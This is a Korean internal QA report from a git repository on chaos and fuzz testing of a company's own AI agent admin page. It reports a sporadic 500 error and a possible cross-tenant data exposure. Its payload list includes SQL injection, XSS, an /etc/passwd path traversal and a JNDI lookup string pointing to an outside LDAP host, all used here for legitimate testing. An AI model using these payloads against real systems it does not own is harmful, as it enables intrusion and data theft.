Files
invyone/notes/johngreen/2026-05-02-agents-gremlins-report.md
T
johngreen 19f7615367
Build & Deploy to K8s / build-and-deploy (push) Successful in 4m34s
docs(notes): 그렘린 카오스 테스트 + JSONB autopilot 작업 노트
- 2026-05-02-agents-gremlins-report.md — AI 에이전트 페이지 그렘린 1차 결과
- 2026-05-02-gremlins-jsonb-autopilot-report.md — 종합 리포트 (audit-log fix +
  AI 모듈 JSONB 일괄 적용 + Phase 4 검증 결과 + follow-up 항목)

향후 follow-up (별도 PR 권장):
- H1: AiAgentApiKey listAll cross-tenant 노출 (security)
- M1: AiLlmProvider.config 평문 노출 가능성
- M3: AiAgentProviderController create/update model 직접 노출
- M4: workspace/page.tsx 잔여 connectors 직접 접근 5곳

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-02 16:12:06 +09:00

6.7 KiB
Raw Blame History

AI 에이전트 관리 페이지 — 그렘린 카오스 테스트 리포트

  • 일시: 2026-05-02
  • 대상: http://localhost:9772/admin/aiAssistant/agents
  • 방법: Claude-in-Chrome MCP + gremlins.js v2.2.0 + Fuzz Payload 주입
  • 계정: Invyone (최고 관리자)
  • 테스트 시점 페이지 상태: 에이전트 추가 모달 + Tweaks 패널 열림

1. 테스트 구성

단계 도구/방식 횟수 종(Species)
1차 그렘린 gremlins.js 100 clicker, toucher, formFiller, scroller, typer
2차 그렘린 gremlins.js 500 동일 5종
Fuzz Payload input/textarea 직접 주입 36 (3 input × 12 payload) SQL injection, XSS, 긴 문자열, 유니코드, JNDI, path traversal 등

사용한 Fuzz Payload

"", "' OR '1'='1", "<script>alert(1)</script>", "A".repeat(3000),
"𝒯𝑒𝓈𝓉 ㅎ안녕 🎉🔥", "../../../etc/passwd", "0", "-1", "9".repeat(20),
"<img src=x onerror=alert(1)>", "${jndi:ldap://x.com/a}", " "

수집기 설치 항목

  • window.error 이벤트
  • unhandledrejection 이벤트
  • console.error 패치
  • fetch 패치 (status >= 400 캐치)
  • XMLHttpRequest.open 패치 (status >= 400 캐치)

2. 결과 요약

항목 1차(100) 2차(500) Fuzz(36)
소요 시간 3.5s 12.3s 1.6s
신규 버그 0 0 1
URL 변경 없음 없음 없음

총 발견 이슈: 2건 (그렘린 폭격으로 발견 1, 부수 검증으로 발견 1)


3. 발견된 이슈

🟡 Issue #1 — GET /api/ai-agents 500 산발 발생

  • 상황: 2차 폭격 + fuzz 진행 중 1회 발생
  • 증거: xhr_500 1건 수집 (메시지는 Claude-in-Chrome 보안 필터로 마스킹되었으나 path 추출 결과 /api/ai-agents)
  • 재현 시도: 직접 fetch 9건 — 모두 200 OK
    • ? 빈 query
    • ?search=
    • ?search=test
    • ?search=' OR '1'='1 (인코딩 / 비인코딩)
    • ?page=-1
    • ?page=AAAA... (300자)
    • ?id=null
  • 추정 원인:
    • Race condition (동시 요청 폭주)
    • 일시적 DB lock 또는 트랜잭션 충돌
    • Spring 측 일시적 세션 검증 실패
  • 심각도: 🟡 중 (재현 불가, 산발성)
  • 권장 조치:
    • Spring application.log 의 해당 시각 (ts: 1777686237317 근방) 스택 트레이스 확인
    • MDC 로 request id 남겨 향후 동일 패턴 추적

🔴 Issue #2 — UI/API 데이터 불일치 핵심

  • 상황: 그렘린 폭격과 무관, 검증 과정에서 발견
  • 증거:
    • 화면 표시: "등록된 에이전트가 없습니다"
    • 실제 API 응답:
      {
        "success": true,
        "data": [{
          "id": 13,
          "agent_id": "agent-766beb3a",
          "name": "UI 테스트 에이전트 (수정됨)",
          "description": "두 번째 에이전트 (UI 흐름)",
          "model": "claude-sonnet-4-20250514",
          ...
        }]
      }
      
  • 추정 원인 후보:
    1. 테넌트 컨텍스트 불일치 — 백엔드는 모든 회사 데이터 반환, 프론트가 회사 필터링 후 빈 배열 인식
    2. React Query 캐시 stale — 이전 빈 응답을 보여주고 재검증 안 함
    3. API 라우팅 분기/api/ai-agents 와 화면이 사용하는 endpoint 가 다름 (페이지에서 별도 endpoint 호출 가능성)
  • 심각도: 🔴 높음
    • CLAUDE.md 멀티테넌시 가드와 직결 — 다른 회사 데이터 노출 가능성
  • 권장 조치:
    1. frontend/app/(main)/admin/aiAssistant/agents/page.tsx 의 데이터 fetch 코드 확인 — 어느 endpoint 호출?
    2. 백엔드 ai-agents mapper 의 companyCodeFilter include 여부 확인
    3. 직접 호출 응답에 company_code 가 있는지 확인

4. 잡힌 것 / 잡히지 않은 것

항목 결과
UI 크래시 없음
무작위 클릭 600회 안정성 견고
폼에 SQL injection / XSS 입력 시 클라이언트 측 폭주 없음
긴 문자열(3000자) 입력 처리 정상
Console 에러 (앱 발생) 0건
Console 워닝 🟡 1건 — Radix DialogContentaria-describedby 누락 (a11y)
백엔드 5xx 🟡 1건 (산발)
데이터 일관성 🔴 1건 (UI/API 불일치)
Visual regression 미검증 (별도 도구 필요)

5. 결론 및 다음 단계

결론

  • 에이전트 관리 페이지는 무작위 폭격에 매우 견고
  • 그렘린의 본래 목적(클라이언트 측 크래시 발견)으로는 큰 수확 없음
  • 그러나 부수 검증(fetch 가로채기)으로 의미 있는 백엔드/데이터 이슈 2건 발견

다음 단계

  1. Issue #2 (데이터 불일치) 즉시 조사 — 가장 중요
  2. Issue #1 재현 시도 — 동시 다발 요청 (Promise.all × 50) 으로 race condition 유발
  3. 다른 페이지에도 동일 절차 적용 — 사이드바 메뉴 자동 순회 + 그렘린 + fetch hook
  4. Radix Dialog aria-describedby 추가 (a11y 개선, 1줄 수정)

재사용 가능한 자산

  • 본 테스트 절차를 OMC 스킬로 전환 → /oh-my-claudecode:gremlins 같은 명령으로 재실행
  • Playwright + axe-core + page.on('response') 조합으로 CI 통합 가능

6. 사용한 스크립트 (재현용)

// 1. 다이얼로그 차단 + 수집기 + gremlins 로드
window.alert = () => {};
window.confirm = () => true;
window.prompt = () => '';

window.__gremBugs = [];
window.addEventListener('error', e => window.__gremBugs.push({ type:'window.error', msg:e?.message, url:location.href, ts:Date.now() }));
window.addEventListener('unhandledrejection', e => window.__gremBugs.push({ type:'unhandledrejection', msg:String(e.reason), url:location.href, ts:Date.now() }));

const origFetch = window.fetch;
window.fetch = async (...args) => {
  const res = await origFetch(...args);
  if (res.status >= 400) {
    const u = typeof args[0] === 'string' ? args[0] : args[0]?.url;
    window.__gremBugs.push({ type:`http_${res.status}`, msg:`${u}${res.status}`, url:location.href, ts:Date.now() });
  }
  return res;
};

await new Promise((res, rej) => {
  const s = document.createElement('script');
  s.src = 'https://unpkg.com/gremlins.js@2.2.0/dist/gremlins.min.js';
  s.onload = res; s.onerror = rej;
  document.head.appendChild(s);
});

// 2. 폭격
await window.gremlins.createHorde({
  species: [
    window.gremlins.species.clicker(),
    window.gremlins.species.toucher(),
    window.gremlins.species.formFiller(),
    window.gremlins.species.scroller(),
    window.gremlins.species.typer()
  ],
  mogwais: [],
  strategies: [window.gremlins.strategies.distribution({ delay: 15, nb: 500 })]
}).unleash();

// 3. 결과
console.log(window.__gremBugs);